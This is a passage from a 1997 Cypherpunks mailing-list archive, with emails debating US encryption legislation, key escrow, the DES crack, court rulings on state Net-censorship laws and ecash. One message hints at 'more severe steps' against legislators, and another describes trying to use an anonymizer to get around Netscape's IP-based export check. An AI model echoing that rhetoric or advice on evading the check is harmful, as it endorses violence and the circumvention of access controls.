constitutional muster, but think of the headlines!

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 07:26:05 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <v03102812afd0bebb24c2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:07 PM -0700 6/20/97, Jeremey Barrett wrote:

>The cpunks are getting some help in this from the Naval Research Lab
>(although actually I think we're helping them not vice versa)
>because the military seems to want to be able to browse anonymously too.

I rather suspect the motives are more complicated than this.

It is an easy enough matter for anyone in the CIA or NSA or DIA or whatever
to get cutout accounts in any number of ISPs, either local or connected to
remotely in the usual ways. This lets them surf rapidly and quickly, and
with little traceability so long as they maintain an "air gap" between the
nyms.

"ddenning@nsa.gov" can become "witch666@aol.com" or "shill@clarke.net"
rather easily.

When I was at CFP a few months back, and NSA guy said he read the
Cypherpunks list regularly. And a CIA analyst who attended the Hackers
Conference recognized my name when I happened to sit down next to him at a
meal, and said his office often looked to the CP list for insights into how
various proposals would be met. I don't recall either of their names--I
wasn't that interested in tracking them--but I rather suspect their
subscriptions were under under other names or at least other domain names,
or forwarded directly off of other sites.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 07:57:00 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <Pine.GSO.3.95.970620164114.11215C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 19:22:37 -0400 (EDT)
From: Charles Platt <cp@panix.com>
To: Declan McCullagh <declan@well.com>
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)

> From: Jonah Seiger <jseiger@cdt.org>

> This process is raw and smelly, I know, but it's also called Democracy.

The United States is not a pure democracy, it is a constitutional
republic. I believe I have a constitutional right to privacy. I also
believe that I probably have a constitutional right to anonymity. It
doesn't matter what "most senators" think, or indeed what "most Americans"
think, if their thinking is contradicted by the Constitution. We do not
have simple majority rule, here. In fact the founders of the country went 
out of their way to insure that the simple majority could not easily 
violate the principles upon which the country was founded.

> But before we get all caught up in the old jihad between "the purists" and
> the "pragmatists", just think about this for a moment:  If we are going to
> have a prayer of getting out of this Congress without getting stuck with
> manditory key recovery, we have to at least recognize where we fit in to
> the overall equation and how the system actually works.  We can do a lot to
> impact the outcome of this issue -- but not if we are operating in a
> different area code from reality.

This can be summarized as "compromise or else." I have never believed 
that this is an acceptable policy when dealing with people who are 
ethically impaired. Moreover, it is not even a SENSIBLE policy, from a 
purely pragmatic point of view. Did ACT-UP adopt a compromising position 
in order to get what they wanted? Would they have done better if they had 
agreed to compromise? Of course not. You have no hope of getting even a 
fraction of what you want, when dealing with the power-crazed yahoos in 
DC, unless you are willing either to bribe them or be an intransigent 
extremist. (So it seems to me, anyway.)

The CDT party line always seems to be, "play ball and kiss ass in the hope 
that legislators will be nice to you." Thanks, but no thanks.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 08:12:18 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <Pine.GSO.3.95.970620164959.11215F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 19:44:33 -0400 (EDT)
From: Charles Platt <cp@panix.com>
To: Declan McCullagh <declan@well.com>
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)

> From: "Shabbir J. Safdar" <shabbir@vtw.org>

> We owe them a great big debt of thanks, not the derision that goes with
> Alice in Wonderland political punditry.

They did what they did because they thought it was in their interests; 
otherwise they wouldn't have done it. We owe them nothing, and I am 
horrified to see this phrase. How much do you owe a parasite that tries 
to negotiate with other parasites to take slightly less of your blood 
than they originally expected?

Statements similar to yours have been made so many times, scolding
"extremists" for "not being realistic." I seem to remember something about
extremism in defense of liberty being no vice, and moderation no virtue.
Either way, if you compromise, you don't get what you want. That is
absolutely obvious. So why compromise? 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 08:13:02 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <Pine.LNX.3.94.970620151844.2244J-100000@neptune.chem.uga.edu>
Message-ID: <3.0.2.32.19970620165723.00756920@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>From: "Robert A. Costner" <pooh@efga.org>
>To: action@efga.org
>Subject: [EFGA] WE won our court case!!
>
>EFGA was granted a preliminary injunction in our court case 
>against the state of Georgia.  Details and press release to follow.

Yee-hah!  If you ignore CONgress, we've had a good week, between
this court and the New York CDA courts doing the right thing
and the DES crack finishing.

>Let's meet somewhere tonight to celebrate!

Obviously y'all should meet in the Atlanta Underground, wearing masks :-)

(though I won't be there, since it's a bit far from the West Coast...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 08:21:43 +0800
To: Mac Norton <mnorton@cavern.uark.edu>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.SOL.3.96.970620182926.6841B-100000@cavern.uark.edu>
Message-ID: <Pine.GSO.3.95.970620165732.11215G-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Pardon me as I muddle through this --

Defamation law looks to local communities to define
things like reputation. What about huge Internet
communities? What about the distinction between public
and private figures?

Wouldn't an even-handed application of the commerce
clause stop states from banning child porn or passing
libel/defamation laws for the Net?

Though I agree that no court would strike down a child
porn law on commerce clause grounds...

Dan Burk has written much about this topic, and I'm
planning to read up on it over the weekend. One of his
law review articles came up during oral arguments before
Judge Preska in NYC.

-Declan


On Fri, 20 Jun 1997, Mac Norton wrote:

> On Fri, 20 Jun 1997, Steve Schear wrote:
> 
> > >But the rulings differ in important ways. Manhattan's
> > >Judge Preska did not answer whether the New York law
> > >violated the First Amendment, saying she was going to
> > >wait for the U.S. Supreme Court's to rule on the
> > >Communications Decency Act. She said, however, that
> > >she didn't *need to answer* that question to strike
> > >down the law since it violated the U.S. Constitution's
> > >ban on states attempts to regulate commerce outside
> > >their borders.
> > 
> > Might this also mean that states attempting to restrict Internet gaming
> > might similarly be restrained?
> 
> Not necessarily, and that's ilustrative of one of the problems with this
> decision on Commerce Clause grounds.  Is child porn, like other articles
> of "commerce", generic across state lines, or is it subject to a Miller
> "community standard"?  Same for the "harmful to minors" standard?
> MacN
>   
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Benjamin Grosman <bgrosman@healey.com.au>
Date: Fri, 20 Jun 1997 15:15:47 +0800
To: Charles Platt <cp@panix.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <Pine.SUN.3.91.970620000629.13057D-100000@panix.com>
Message-ID: <33AA2A2A.57A07997@healey.com.au>
MIME-Version: 1.0
Content-Type: text/plain



> I'm not saying I _want_ an agency making decisions for us; only that
> it
> would be slightly less hideously exasperating than our present
> situation,
> where technoliterates are being ruled by technoilliterates.
>
I would totally agree with you here...having an agency is definitely the
best of a bad set of choices.

> corrupt. We might get two or three good years out of a Federal
> Internet
> Agency, depending who was appointed to run it.

And that would probably be a major problem...finding someone with whom
both the government and industry are happy.

Ben





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 21 Jun 1997 08:36:55 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <v0310280cafd07f143053@[207.167.93.63]>
Message-ID: <3.0.2.32.19970620170015.00950c20@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



>One reason this is occuring is that there is no direct consequence to the
>legislators.

I suggest adopting two very popular memes to reach this goal - three
strikes term limits. A legislator who votes for three different laws which
are eventually struck down as unconstitutional shall be removed from
office, and unable to serve in the legislature again for at least 25 years.

Perhaps first offenders can be offered the opportunity to participate in a
diversion program, whereby they're forced to [re]take classes in
constitutional law and civics, and if they succesfully complete the program
and don't reoffend within one year, the first violation will be ignored. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 08:28:49 +0800
To: cypherpunks@cyberpass.net
Subject: Re: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: <v03102813afd0cc3a509f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:32 PM -0700 6/20/97, Declan McCullagh wrote:
>Perhaps there is more reason to be worried than Anonymous lets on.
>
>This afternoon I stopped by the office of a Congressional staffer who
>will, appropriately, remain anonymous. This person knows crypto, follows
>it, even truly believes in it. But they were pessimistic about any good,
>or even half-decent, crypto legislation leaving the Congress. Which
>committee will insert it? And what good crypto legislation would pass a
>presidential veto?
>
>DC crypto-lobbyists should have seen this coming. Instead of lifting
>export controls -- or even leaving intact the status quo -- Congress is
>about to make things worse.
>
>Perhaps cypherpunks should turn crypto-rejectionist.

Hey, that's _my_ line!!! (:-})

I've been arguing the "rejectionist" view for a long time. I even mentioned
this to Bidzos and Zimmermann, separately of course, and they both uttered
some variant of "Sign me up." Could be marketspeak jive in one or both
cases, but probably both saw the essential hopelessness of having Congress
reaffirm the Constitution. And this is all that was ever needed.

As I've said, the problems of whether some company can _export_ some
product, serious as they are to _them_, are as nothing compared to
mandatory key escrow, criminalization of crypto, and restrictions on
domestic use.


>On Sat, 21 Jun 1997, Anonymous wrote:
>
>> Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
>> got to go through at least one and possibly two more committees before
>> it reaches the senate floor, where we'll have another chance to defeat it.
>>
>> Even then the house has to pass similar legislation.  That will be yet
>>another
>> chance.

It will sail through. Trust me.


>> When Clipper was proposed, a wave of anger and opposition swept forth.
>> The same thing needs to happen now.  This fatalism is self defeating.

Au contraire, "Anonymous." I was there. Maybe you were there (your writing
style reminds me of someone).

What Cypherpunks did then was not to lobby for some law to halt Clipper.
Check the archives if you don't believe this.


>> Either you're part of the solution or you're part of the problem.
>>People who
>> say there's no use fighting, who give up, who oppose the efforts of the
>> crypto lobbying groups in the name of ideological purity, are not part of
>> the solution.  They have no right to complain if this law passes.  By
>> sitting aside and carping at the efforts of those who are trying to stop
>>this
>> kind of legislation, they are only helping to bring it about.

We are not "carping" about those "trying to stop this kind of legislation."
Most of us did not condemn Pro-CODE, though it had some flaws. (And
Pro-CODE II was an absolute disgrace, giving power back to the TLAs to
determine algorithms...might as well not even have it.) SAFE was of course
perniciously evil, as it criminalized a form of speech. Nothing in the
Constitution allows such criminalization of a form of speech. But I have
written much on why SAFE is bad leglislation.

In any case, all the much-publicized lobbying of EPIC and CDT and all the
rest to get "compromise" legislation through has led to what? To a
last-minute, politics as usual substitution and passage of a draconian,
Orwellian bill which will change the landscape of freedom in the world.

The only way to fight it is by monkeywrenching enforceability, and by
pushing the limits of offshore communication.

Or by more severe steps. They have earned it.

--Timothy McMay


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sat, 21 Jun 1997 01:45:48 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <5oeeq4$cfo@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <v03102809afd06491f5c7@[207.167.93.63]>,
Tim May  <tcmay@got.net> wrote:
>At 9:22 AM -0700 6/20/97, Wayne Clerke wrote:
>>Seen this? Another bank braving the Digicash ecash waters:
>> ----
>>From: Edward Breese x1364 <edwardb@executive.advance.com.au>
>>To: ecash-merchant <ecash-merchant@advance.com.au>
>>Date: Friday, 20 June 1997 11:50
>>Subject: Advance Bank launches ecash
>>
>>>
>>>Hi everyone,
>>>
>>>Thank you for being so patient.  ecash is now available from our web site
>>>at:  http//www.advance.com.au/ecash
>>>
>>>You will find plenty of information to help you set up your ecash purse
>>and
>>>configure a web site to accept ecash.  You can  download our latest
>
>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.
>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

It _is_ in fact Digicash's ecash.  Do you really think it's surprising
that the Bank's press release does not mention "untraceable" or
"anonymous"? :-)

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 08:45:29 +0800
To: cypherpunks@Algebra.COM
Subject: "Strength of encryption standard proved again"
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <v03102814afd0d05f49c3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



( cryptography@c2.net removed from the distribution list, as I am not a
subscriber to that list, and Perry has admonished me when I have
accidentally left his list on the cc: to my messages)


Reuter (Washington, Friday), Security experts reported today that the
nation's encryption standard, "DES," has been proved to be secure. "It took
more than 1000 computers working for 3 months before a single "toy example"
was finally found, " reported Murray Bowdark, Director of the Computer
Security Association, Ft. Meade, Maryland.

"This shows that even a concerted effort by thousands of hackers will take
months," said Bowdark.  "And since hacking like this is outlawed by new
legislation just passed by Congress, this makes "cracking DES" about as
improbable as proving that the CIA imported drugs."


(OK, I confess. Not a real press release. But, as ET notes below in his
article, the spin doctors are already drawing the conclusion that many of
us expected they would draw: by using the crack to prove that this means
DES is resistant against thousands of computers running for months. And to
tell the truth, were I less aware of some of the issues surrounding
hardware-based DES-crackers, I admit that this report would tend to leave
me with this impression. I can imagine most of our parents would look up
from the CNN report on this and say, if they said anything, "OK, so my bank
account is pretty secure.")




At 5:05 PM -0700 6/20/97, ET wrote:
>I caught the Headline News mention of the DES crack and it
>unfortunately put the wrong spin on things.
>
>I can't remember it word for word, but it went like this:
>"If you're going to decrypt financial transactions you'd better
>be prepared to get 1000 computers and spend 3 months on
>the project."
>
>The report was delivered with a hint of a smile, as if to suggest
>that the time and resources might have been better spent.
>
>*Sigh*


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 21 Jun 1997 06:29:43 +0800
To: cypherpunks@toad.com
Subject: Re: (Fwd) New crypto bill clears committee
Message-ID: <v030209adafd0b165e2e1@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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X-e$pam-source: owner-cryptography@c2.net
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Date: Fri, 20 Jun 1997 17:00:33 -0400
To: espam@intertrader.com, e$pam <e$pam@atanda.com>
From: Robert Hettinga <rah@shipwright.com>
Subject: Re: (Fwd) New crypto bill clears committee
Sender: owner-espam@lists.espace.net
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Reply-To: e$@thumper.vmeng.com

---------------------------------------------------------------------
This mail is brought to you by the e$pam mailing list
---------------------------------------------------------------------

owner-cryptography@c2.org using -f
X-Sender: rah@atanda.com
Mime-Version: 1.0
Date: Fri, 20 Jun 1997 15:15:58 -0400
To: Adam Shostack <adam@homeport.org>
From: Robert Hettinga <rah@shipwright.com>
Subject: Re: (Fwd) New crypto bill clears committee
Cc: cryptography@c2.net
Sender: owner-cryptography@c2.net

> At 7:56 AM -0400 6/20/97, Adam Shostack wrote:
 > I plan to spend a substaintial portion of my day explaining to the
 > large companies I consult with that this is a very bad thing, and they
 > should be opposing its advance.

 Said syllogistically,

 Digital Commerce *is* Financial Cryptography,
 Financial Cryptography *is* Strong Cryptography,
 therefore,
 Digital Commerce *is* Strong Cryptography.
 and therefore,
 No Strong Cryptography, no Digital Commerce.


 Instructions for the use of this syllogism:

 Invite 'em to a presentation.

 Use one proposition per slide, with nothing on the slide but the
 proposition, centered vertically and horizontally. Don't make handouts.

 Put up the first slide, and defend the proposition.
 Repeat until last slide.

 Ask for questions.

 The bill is in the mail. ;-).

 QED,
 RAH


 -----------------
 Robert Hettinga (rah@shipwright.com), Philodox
 e$, 44 Farquhar Street, Boston, MA 02131 USA
 "... however it may deserve respect for its usefulness and antiquity,
 [predicting the end of the world] has not been found agreeable to
 experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
 The e$ Home Page: http://www.shipwright.com/


---------------------------------------------------------------------
Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk
---------------------------------------------------------------------
Like e$? Help pay for it!  See <http://www.shipwright.com/beg.html>
Or, for e$/e$pam sponsorship, <mailto:rah@shipwright.com>
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 21 Jun 1997 07:40:57 +0800
To: paul@fatmans.demon.co.uk
Subject: cypherpunks import code (was Re: Cypherpunks write code)
In-Reply-To: <Pine.LNX.3.91.970620124049.285A-100000@fatmans.demon.co.uk>
Message-ID: <199706201718.SAA01942@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Paul Bradley <paul@fatmans.demon.co.uk> writes:
> Does www.anonymizer.com run at a decent speed within the US? I tried
> to use it from here yesterday to get past the IP address cheching
> for the export page on www.netscape.com, and it was too slow (just
> stalled on about 1k)

Nice try, but it won't work.  anonymizer.com doesn't handle SSL
sessions, and the actual download part opens an SSL session for the
download.

I think this was discussed before, and the reason for no SSL sessions
was the CPU load this would add on anonymizer.com, IIRC.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 21 Jun 1997 08:24:14 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <v03102802afd0a943ff87@[10.0.2.15]>
Message-ID: <Pine.SOL.3.96.970620182926.6841B-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Steve Schear wrote:

> >But the rulings differ in important ways. Manhattan's
> >Judge Preska did not answer whether the New York law
> >violated the First Amendment, saying she was going to
> >wait for the U.S. Supreme Court's to rule on the
> >Communications Decency Act. She said, however, that
> >she didn't *need to answer* that question to strike
> >down the law since it violated the U.S. Constitution's
> >ban on states attempts to regulate commerce outside
> >their borders.
> 
> Might this also mean that states attempting to restrict Internet gaming
> might similarly be restrained?

Not necessarily, and that's ilustrative of one of the problems with this
decision on Commerce Clause grounds.  Is child porn, like other articles
of "commerce", generic across state lines, or is it subject to a Miller
"community standard"?  Same for the "harmful to minors" standard?
MacN
  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 21 Jun 1997 08:23:53 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.GSO.3.95.970620151503.19203A-100000@well.com>
Message-ID: <Pine.SOL.3.96.970620184729.6841C-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Declan McCullagh wrote:

> Steve -- Believe it or not, yes, state Net-gambling laws could fall under
> the dormant commerce clause and be struck down by courts. If they ruled
> consistently. I suspect they won't. 

Congress has traditionally accorded states wide latitude in regulating 
gambling, nor is gambling yet recognized by Congress as legitimate
commerce, generally speaking.  It's still regarded as criminal
behavior.  State murder laws are not unconstitutional on the ground
that contracts for killing are made ikn interstate commerce.:)
MacN

So, the dormant CC may not apply.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 21 Jun 1997 08:18:06 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.GSO.3.95.970620165732.11215G-100000@well.com>
Message-ID: <Pine.SOL.3.96.970620185932.6841D-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



I consider Dan an expert in the area, myself, and agree with most of
his thinking on the subject.  Defamation law is 1A-involved, so maybe
not an apt comparison.  It's subject to a national, not community,
standard in that regard, unlike obscenity.

On the other hand, while states actually have constitutionally 
enshrined authority over liquor, there is Healey v. The Beer
Institute, cite I can't remember.
MacN 

On Fri, 20 Jun 1997, Declan McCullagh wrote:

> Pardon me as I muddle through this --
> 
> Defamation law looks to local communities to define
> things like reputation. What about huge Internet
> communities? What about the distinction between public
> and private figures?
> 
> Wouldn't an even-handed application of the commerce
> clause stop states from banning child porn or passing
> libel/defamation laws for the Net?
> 
> Though I agree that no court would strike down a child
> porn law on commerce clause grounds...
> 
> Dan Burk has written much about this topic, and I'm
> planning to read up on it over the weekend. One of his
> law review articles came up during oral arguments before
> Judge Preska in NYC.
> 
> -Declan
> 
> 
> On Fri, 20 Jun 1997, Mac Norton wrote:
> 
> > On Fri, 20 Jun 1997, Steve Schear wrote:
> > 
> > > >But the rulings differ in important ways. Manhattan's
> > > >Judge Preska did not answer whether the New York law
> > > >violated the First Amendment, saying she was going to
> > > >wait for the U.S. Supreme Court's to rule on the
> > > >Communications Decency Act. She said, however, that
> > > >she didn't *need to answer* that question to strike
> > > >down the law since it violated the U.S. Constitution's
> > > >ban on states attempts to regulate commerce outside
> > > >their borders.
> > > 
> > > Might this also mean that states attempting to restrict Internet gaming
> > > might similarly be restrained?
> > 
> > Not necessarily, and that's ilustrative of one of the problems with this
> > decision on Commerce Clause grounds.  Is child porn, like other articles
> > of "commerce", generic across state lines, or is it subject to a Miller
> > "community standard"?  Same for the "harmful to minors" standard?
> > MacN
> >   
> > 
> > 
> > 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Sat, 21 Jun 1997 10:25:27 +0800
To: emergent@eval-apply.com (ET)
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706210210.TAA08094@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain



	Not at all surprising, considering the wording of Rocke's
press release. 


> I caught the Headline News mention of the DES crack and it
> unfortunately put the wrong spin on things.
> 
> I can't remember it word for word, but it went like this:
> "If you're going to decrypt financial transactions you'd better
> be prepared to get 1000 computers and spend 3 months on
> the project."
> 
> The report was delivered with a hint of a smile, as if to suggest
> that the time and resources might have been better spent.
> 
> *Sigh*
> 
> 


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Sat, 21 Jun 1997 10:46:39 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: <v04000604afd0e922138d@[129.46.137.118]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:10 AM +0200 6/21/97, Anonymous wrote:
>Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
>got to go through at least one and possibly two more committees before
>it reaches the senate floor, where we'll have another chance to defeat it.
>
>Even then the house has to pass similar legislation.  That will be yet another
>chance.

Even if it makes it thru Congress, perhaps it can be challenged by the
courts because of possible 4th amendent abuses.

Lots of opportunity to sink it.

Sure this is a lousy turn of events, but it's only 1 battle.  It isn't even
close to the end of the war.

john noerenberg
jwn2@qualcomm.com
pager: jwn2@pager.qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 21 Jun 1997 08:38:36 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: <Pine.SOL.3.96.970620185932.6841D-100000@cavern.uark.edu>
Message-ID: <Pine.SOL.3.96.970620192501.6841E-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



Apologies to Declan for replying to a private message on the list.
Gotta to learn to read those headers all the way through.:)

The "Dan" mentioned is Dan Burk, an acomplished young law professor
who has done some relevant writing on the subject.
MacN

On Fri, 20 Jun 1997, Mac Norton wrote:

> I consider Dan an expert in the area, myself, and agree with most of
> his thinking on the subject.  Defamation law is 1A-involved, so maybe
> not an apt comparison.  It's subject to a national, not community,
> standard in that regard, unlike obscenity.
> 
> On the other hand, while states actually have constitutionally 
> enshrined authority over liquor, there is Healey v. The Beer
> Institute, cite I can't remember.
> MacN 
> 
> On Fri, 20 Jun 1997, Declan McCullagh wrote:
> 
> > Pardon me as I muddle through this --
> > 
> > Defamation law looks to local communities to define
> > things like reputation. What about huge Internet
> > communities? What about the distinction between public
> > and private figures?
> > 
> > Wouldn't an even-handed application of the commerce
> > clause stop states from banning child porn or passing
> > libel/defamation laws for the Net?
> > 
> > Though I agree that no court would strike down a child
> > porn law on commerce clause grounds...
> > 
> > Dan Burk has written much about this topic, and I'm
> > planning to read up on it over the weekend. One of his
> > law review articles came up during oral arguments before
> > Judge Preska in NYC.
> > 
> > -Declan
> > 
> > 
> > On Fri, 20 Jun 1997, Mac Norton wrote:
> > 
> > > On Fri, 20 Jun 1997, Steve Schear wrote:
> > > 
> > > > >But the rulings differ in important ways. Manhattan's
> > > > >Judge Preska did not answer whether the New York law
> > > > >violated the First Amendment, saying she was going to
> > > > >wait for the U.S. Supreme Court's to rule on the
> > > > >Communications Decency Act. She said, however, that
> > > > >she didn't *need to answer* that question to strike
> > > > >down the law since it violated the U.S. Constitution's
> > > > >ban on states attempts to regulate commerce outside
> > > > >their borders.
> > > > 
> > > > Might this also mean that states attempting to restrict Internet gaming
> > > > might similarly be restrained?
> > > 
> > > Not necessarily, and that's ilustrative of one of the problems with this
> > > decision on Commerce Clause grounds.  Is child porn, like other articles
> > > of "commerce", generic across state lines, or is it subject to a Miller
> > > "community standard"?  Same for the "harmful to minors" standard?
> > > MacN
> > >   
> > > 
> > > 
> > > 
> > 
> > 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 21 Jun 1997 10:46:59 +0800
To: cypherpunks@toad.com
Subject: CNNFN transcript -- EPIC vs. Family Research Council on CDA
